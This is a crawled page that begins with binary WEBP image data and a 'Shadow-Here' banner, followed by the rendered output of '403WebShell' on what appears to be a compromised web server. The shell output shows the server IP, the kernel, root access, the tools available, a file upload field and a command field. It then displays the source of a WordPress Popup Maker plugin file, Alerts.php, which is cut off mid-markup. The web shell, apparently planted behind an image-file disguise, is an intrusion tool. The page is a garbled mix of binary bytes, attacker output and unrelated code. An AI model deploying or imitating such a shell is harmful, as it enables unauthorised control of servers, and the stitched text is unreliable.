RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð ....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.225.223.251  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux agtdemo03 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/web/dev.agtindia.co.in/sodaltech/wp-content/plugins/popup-maker/classes/Utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/web/dev.agtindia.co.in/sodaltech/wp-content/plugins/popup-maker/classes/Utils/Alerts.php
<?php
/**
 * Alerts Utility
 *
 * @package   PopupMaker
 * @copyright Copyright (c) 2024, Code Atlantic LLC
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Class PUM_Utils_Alerts
 */
class PUM_Utils_Alerts {

	/**
	 *
	 */
	public static function init() {
		add_action( 'admin_init', [ __CLASS__, 'hooks' ] );
		add_action( 'admin_init', [ __CLASS__, 'php_handler' ] );
		add_action( 'wp_ajax_pum_alerts_action', [ __CLASS__, 'ajax_handler' ] );
		add_filter( 'pum_alert_list', [ __CLASS__, 'whats_new_alerts' ], 0 );
		add_filter( 'pum_alert_list', [ __CLASS__, 'integration_alerts' ], 5 );
		add_filter( 'pum_alert_list', [ __CLASS__, 'translation_request' ], 10 );
		add_action( 'admin_menu', [ __CLASS__, 'append_alert_count' ], 999 );
	}

	/**
	 * Gets a count of current alerts.
	 *
	 * @return int
	 */
	public static function alert_count() {
		return count( self::get_alerts() );
	}

	/**
	 * Append alert count to Popup Maker menu item.
	 */
	public static function append_alert_count() {
		global $menu;
		$count = self::alert_count();
		foreach ( $menu as $key => $item ) {
			if ( 'edit.php?post_type=popup' === $item[2] ) {
				// phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited
				$menu[ $key ][0] .= $count ? ' <span class="update-plugins count-' . $count . '"><span class="plugin-count pum-alert-count" aria-hidden="true">' . $count . '</span></span>' : '';
			}
		}
	}

	/**
	 * @param array $alerts
	 *
	 * @return array
	 */
	public static function translation_request( $alerts = [] ) {

		$version = explode( '.', Popup_Maker::$VER );
		// Get only the major.minor version exclude the point releases.
		$version = $version[0] . '.' . $version[1];

		$code = 'translation_request_' . $version;

		// Bail Early if they have already dismissed.
		if ( self::has_dismissed_alert( $code ) ) {
			return $alerts;
		}

		// Get locales based on the HTTP accept language header.
		$locales_from_header = PUM_Utils_I10n::get_http_locales();

		// Abort early if no locales in header.
		if ( empty( $locales_from_header ) ) {
			return $alerts;
		}

		// Get acceptable non EN WordPress locales based on the HTTP accept language header.
		// Used when the current locale is EN only I believe.
		$non_en_locales_from_header = PUM_Utils_I10n::get_non_en_accepted_wp_locales_from_header();

		// If no additional languages are supported abort
		if ( empty( $non_en_locales_from_header ) ) {
			return $alerts;
		}

		/**
		 * Assume all at this point are possible polyglots.
		 *
		 * Viewing in English!
		 * -- Translation available in one additional language!
		 * ---- Show notice that there other language is available and we need help translating.
		 * -- Translation available in more than one language!
		 * ---- Show notice that their other languages are available and need help translating.
		 * -- Translation not available!
		 * ---- Show notice that plugin is not translated and we need help.
		 * Else If translation for their language(s) exists, but isn't up to date!
		 * -- Show notice that their language is available, but out of date and need help translating.
		 * Else If translations for their language doesn't exist!
		 * -- Show notice that plugin is not translated and we need help.
		 */
		$current_locale = function_exists( 'get_user_locale' ) ? get_user_locale() : get_locale();

		// Get the active language packs of the plugin.
		$translation_status = PUM_Utils_I10n::translation_status();
		// Retrieve all the WordPress locales in which the plugin is translated.
		$locales_with_translations   = wp_list_pluck( $translation_status, 'language' );
		$locale_translation_versions = wp_list_pluck( $translation_status, 'version' );

		// Suggests existing langpacks
		$suggested_locales_with_langpack = array_values( array_intersect( $non_en_locales_from_header, $locales_with_translations ) );
		$current_locale_is_suggested     = in_array( $current_locale, $suggested_locales_with_langpack, true );
		$current_locale_is_translated    = in_array( $current_locale, $locales_with_translations, true );

		// Last chance to abort early before querying all available languages.
		// We abort here if the user is already using a translated language that is up to date!
		if ( $current_locale_is_suggested && $current_locale_is_translated && version_compare( $locale_translation_versions[ $current_locale ], Popup_Maker::$VER, '>=' ) ) {
			return $alerts;
		}

		// Retrieve all the WordPress locales.
		$locales_supported_by_wordpress = PUM_Utils_I10n::available_locales();

		// Get the native language names of the locales.
		$suggest_translated_locale_names = [];
		foreach ( $suggested_locales_with_langpack as $locale ) {
			$suggest_translated_locale_names[ $locale ] = $locales_supported_by_wordpress[ $locale ]['native_name'];
		}

		$suggest_string = '';

		// If we get this far, they clearly have multiple language available
		// If current locale is english but they have others available, they are likely polyglots.
		$currently_in_english = strpos( $current_locale, 'en' ) === 0;

		// Currently in English.
		if ( $currently_in_english ) {

			// Only one locale suggestion.
			if ( 1 === count( $suggest_translated_locale_names ) ) {
				$language = current( $suggest_translated_locale_names );

				$suggest_string = sprintf( /* translators: %s: native language name. */
					__( 'This plugin is also available in %1$s. <a href="%2$s" target="_blank">Help improve the translation!</a>', 'popup-maker' ),
					$language,
					esc_url( 'https://translate.wordpress.org/projects/wp-plugins/popup-maker' )
				);

				// Multiple locale suggestions.
			} elseif ( ! empty( $suggest_translated_locale_names ) ) {
				$primary_language = current( $suggest_translated_locale_names );
				array_shift( $suggest_translated_locale_names );

				$other_suggest = '';
				foreach ( $suggest_translated_locale_names as $language ) {
					$other_suggest .= $language . ', ';
				}

				$suggest_string = sprintf( /* translators: 1: native language name, 2: other native language names, comma separated */
					__( 'This plugin is also available in %1$s (also: %2$s). <a href="%3$s" target="_blank">Help improve the translation!</a>', 'popup-maker' ),
					$primary_language,
					trim( $other_suggest, ' ,' ),
					esc_url( 'https://translate.wordpress.org/projects/wp-plugins/popup-maker' )
				);

				// Non-English locale in header, no translations.
			} elseif ( count( $non_en_locales_from_header ) ) {
				if ( 1 === count( $non_en_locales_from_header ) ) {
					$locale = reset( $non_en_locales_from_header );

					$suggest_string = sprintf( /* translators: 1: native language name, 2: URL to translate.wordpress.org */
						__( 'This plugin is not translated into %1$s yet. <a href="%2$s" target="_blank">Help translate it!</a>', 'popup-maker' ),
						$locales_supported_by_wordpress[ $locale ]['native_name'],
						esc_url( 'https://translate.wordpress.org/projects/wp-plugins/popup-maker' )
					);
				} else {
					$primary_locale   = reset( $non_en_locales_from_header );
					$primary_language = $locales_supported_by_wordpress[ $primary_locale ]['native_name'];
					array_shift( $non_en_locales_from_header );

					$other_suggest = '';
					foreach ( $non_en_locales_from_header as $locale ) {
						$other_suggest .= $locales_supported_by_wordpress[ $locale ]['native_name'] . ', ';
					}

					$suggest_string = sprintf( /* translators: 1: native language name, 2: other native language names, comma separated */
						__( 'This plugin is also available in %1$s (also: %2$s). <a href="%3$s" target="_blank">Help improve the translation!</a>', 'popup-maker' ),
						$primary_language,
						trim( $other_suggest, ' ,' ),
						esc_url( 'https://translate.wordpress.org/projects/wp-plugins/popup-maker' )
					);
				}
			}

			// The plugin has no translation for the current locale.
		} elseif ( ! $current_locale_is_suggested && ! $current_locale_is_translated ) {
			$suggest_string = sprintf(
				/* translators: 1. Native language name, 2. URL to translation. */
				__( 'This plugin is not translated into %1$s yet. <a href="%2$s" target="_blank">Help translate it!</a>', 'popup-maker' ),
				$locales_supported_by_wordpress[ $current_locale ]['native_name'],
				esc_url( 'https://translate.wordpress.org/projects/wp-plugins/popup-maker' )
			);
			// The plugin has translations for current locale, but they are out of date.
		} elseif ( $current_locale_is_suggested && $current_locale_is_translated && version_compare( $locale_translation_versions[ $current_locale ], Popup_Maker::$VER, '<' ) ) {
			$suggest_string = sprintf( /* translators: %s: native language name. */
				__( 'This plugin\'s translation for %1$s is out of date. <a href="%2$s" target="_blank">Help improve the translation!</a>', 'popup-maker' ),
				$locales_supported_by_wordpress[ $current_locale ]['native_name'],
				esc_url( 'https://translate.wordpress.org/projects/wp-plugins/popup-maker' )
			);
		}

		if ( ! empty( $suggest_string ) ) {
			$alerts[] = [
				'code'    => $code,
				'message' => $suggest_string,
				'type'    => 'info',
			];
		}

		return $alerts;
	}

	/**
	 * @param array $alerts
	 *
	 * @return array
	 */
	public static function whats_new_alerts( $alerts = [] ) {

		$upgraded_from = PUM_Utils_Upgrades::$upgraded_from;

		if ( version_compare( $upgraded_from, '0.0.0', '>' ) ) {
			if ( version_compare( $upgraded_from, '1.8.0', '<' ) ) {
				$alerts[] = [
					'code'     => 'whats_new_1_8_0',
					'type'     => 'success',
					'message'  => sprintf(
						/* translators: 1. Version number, 2. URL to changelog, 3. closing HTML tag. */
						'<strong>' . esc_html__( 'See whats new in v%1$s - (%2$sview all changes%3$s)', 'popup-maker' ) . '</strong>',
						'1.8.0',
						'<a href="' . add_query_arg(
							[
								'tab'       => 'plugin-information',
								'plugin'    => 'popup-maker',
								'section'   => 'changelog',
								'TB_iframe' => true,
								'width'     => 722,
								'height'    => 949,
							],
							admin_url( 'plugin-install.php' )
						) . '" target="_blank">',
						'</a>'
					),
					'html'     => "<ul class='ul-disc'><li>New UX for the Popup Theme editor.</li><li>New close button positions: top center, bottom center, middle left & middle right.</li><li>New option to position close button outside of popup.</li></ul>",
					'priority' => 100,
				];
			}
		}

		return $alerts;
	}

	/**
	 * @param array $alerts
	 *
	 * @return array
	 */
	public static function integration_alerts( $alerts = [] ) {

		$integrations = [
			'buddypress' => [
				// phpcs:ignore WordPress.WP.I18n.TextDomainMismatch
				'label'          => __( 'BuddyPress', 'buddypress' ),
				'learn_more_url' => 'https://wppopupmaker.com/social-integrations/buddypress/',
				'conditions'     => ! class_exists( 'PUM_BuddyPress' ) && ( function_exists( 'buddypress' ) || class_exists( 'BuddyPress' ) ),
				'slug'           => 'popup-maker-buddypress-integration',
				'name'           => 'Popup Maker - BuddyPress Integration',
				'free'           => true,
			],
		];

		foreach ( $integrations as $key => $integration ) {
			if ( $integration['conditions'] ) {
				$path        = "{$integration['slug']}/{$integration['slug']}.php";
				$plugin_data = file_exists( WP_PLUGIN_DIR . '/' . $path ) ? get_plugin_data( WP_PLUGIN_DIR . '/' . $path, false, false ) : false;

				$installed = $plugin_data && ! empty( $plugin_data['Name'] ) && $plugin_data['Name'] === $integration['name'];

				$text = $installed ? __( 'activate it now', 'popup-maker' ) : __( 'install it now', 'popup-maker' );
				$url  = $installed ? esc_url( wp_nonce_url( admin_url( 'plugins.php?action=activate&plugin=' . $path ), 'activate-plugin_' . $path ) ) : esc_url( wp_nonce_url( self_admin_url( 'update.php?action=install-plugin&plugin=popup-maker-buddypress-integration' ), 'install-plugin_popup-maker-buddypress-integration' ) );

				$alerts[] = [
					'code'        => $key . '_integration_available',
					'message'     => sprintf(
						/* translators: 1. Opening HTML tag, 2. Closing HTML tag, 3. Integration name, 4. Learn more URL, 5. Opening HTML tag, 6. Closing HTML tag, 7. Activate/Install URL, 8. Activate/Install text. */
						__( '%1$sDid you know:%2$s Popup Maker has custom integrations with %3$s, %4$slearn more%5$s or %6$s%7$s%8$s!', 'popup-maker' ),
						'<strong>',
						'</strong>',
						$integration['label'],
						'<a href="' . $integration['learn_more_url'] . '" target="_blank">',
						'</a>',
						'<a href="' . $url . '">',
						$text,
						'</a>'
					),
					'dismissible' => true,
					'global'      => false,
					'type'        => $installed ? 'warning' : 'info',
				];
			}
		}

		return $alerts;
	}

	/**
	 * Hook into relevant WP actions.
	 */
	public static function hooks() {
		if ( is_admin() && current_user_can( 'edit_posts' ) ) {
			add_action( 'admin_notices', [ __CLASS__, 'admin_notices' ] );
			add_action( 'network_admin_notices', [ __CLASS__, 'admin_notices' ] );
			add_action( 'user_admin_notices', [ __CLASS__, 'admin_notices' ] );
		}
	}

	/**
	 * @return bool
	 */
	public static function should_show_alerts() {
		return in_array(
			true,
			[
				pum_is_admin_page(),
				count( self::get_global_alerts() ) > 0,
			],
			true
		);
	}

	/**
	 * Allow additional style properties for notice alerts.
	 *
	 * @param array $styles Array of allowed style properties.
	 * @return array
	 */
	public static function allow_inline_styles( $styles ) {
		$styles[] = 'display';
		$styles[] = 'list-style';
		$styles[] = 'margin';
		$styles[] = 'padding';
		$styles[] = 'margin-left';
		$styles[] = 'margin-right';
		$styles[] = 'margin-top';
		$styles[] = 'margin-bottom';
		return $styles;
	}

	/**
	 * Return array of allowed html tags.
	 *
	 * @return array
	 */
	public static function allowed_tags() {
		return array_merge_recursive(
			wp_kses_allowed_html( 'post' ),
			// Allow script tags with type="" attribute.
			[
				'script'   => [ 'type' => true ],
				'progress' => [
					'class' => true,
					'max'   => true,
					'min'   => true,
				],
				'input'    => [
					'type'    => true,
					'class'   => true,
					'id'      => true,
					'name'    => true,
					'value'   => true,
					'checked' => true,
				],
				'button'   => [
					'type'  => true,
					'class' => true,
					'id'    => true,
					'name'  => true,
					'value' => true,
				],
				'fieldset' => [
					'class' => true,
					'id'    => true,
					'name'  => true,
				],
				'legend'   => [
					'class' => true,
					'id'    => true,
					'name'  => true,
				],
				'div'      => [
					'class' => true,
					'id'    => true,
					'name'  => true,
				],
				'span'     => [
					'class' => true,
					'id'    => true,
					'name'  => true,
				],
				'ul'       => [
					'class' => true,
					'id'    => true,
					'name'  => true,
				],
				'li'       => [
					'class' => true,
					'id'    => true,
					'name'  => true,
				],
				'label'    => [
					'class' => true,
					'id'    => true,
					'name'  => true,
					'for'   => true,
				],
				'select'   => [
					'class' => true,
					'id'    => true,
					'name'  => true,
					'for'   => true,
				],
				'option'   => [
					'class' => true,
					'id'    => true,
					'name'  => true,
					'for'   => true,
				],
				'form'     => [
					'action' => true,
					'method' => true,
					'id'     => true,
					'class'  => true,
					'style'  => true,
					'data-*' => true,
				],
				'img'      => [
					'class'  => true,
					'id'     => true,
					'name'   => true,
					'src'    => true,
					'alt'    => true,
					'width'  => true,
					'height' => true,
				],
			]
		);
	}

	/**
	 * Render admin alerts if available.
	 */
	public static function admin_notices() {
		if ( ! self::should_show_alerts() ) {
			return;
		}

		$global_only = ! pum_is_admin_page();

		$alerts = $global_only ? self::get_global_alerts() : self::get_alerts();

		$count = count( $alerts );

		if ( ! $count ) {
			return;
		}

		wp_enqueue_script( 'pum-admin-general' );
		wp_enqueue_style( 'pum-admin-general' );

		$nonce = wp_create_nonce( 'pum_alerts_action' );
		?>

		<script type="text/javascript">
			window.pum_alerts_nonce = '<?php echo esc_attr( $nonce ); ?>';
		</script>

		<div class="pum-alerts">

			<h3>
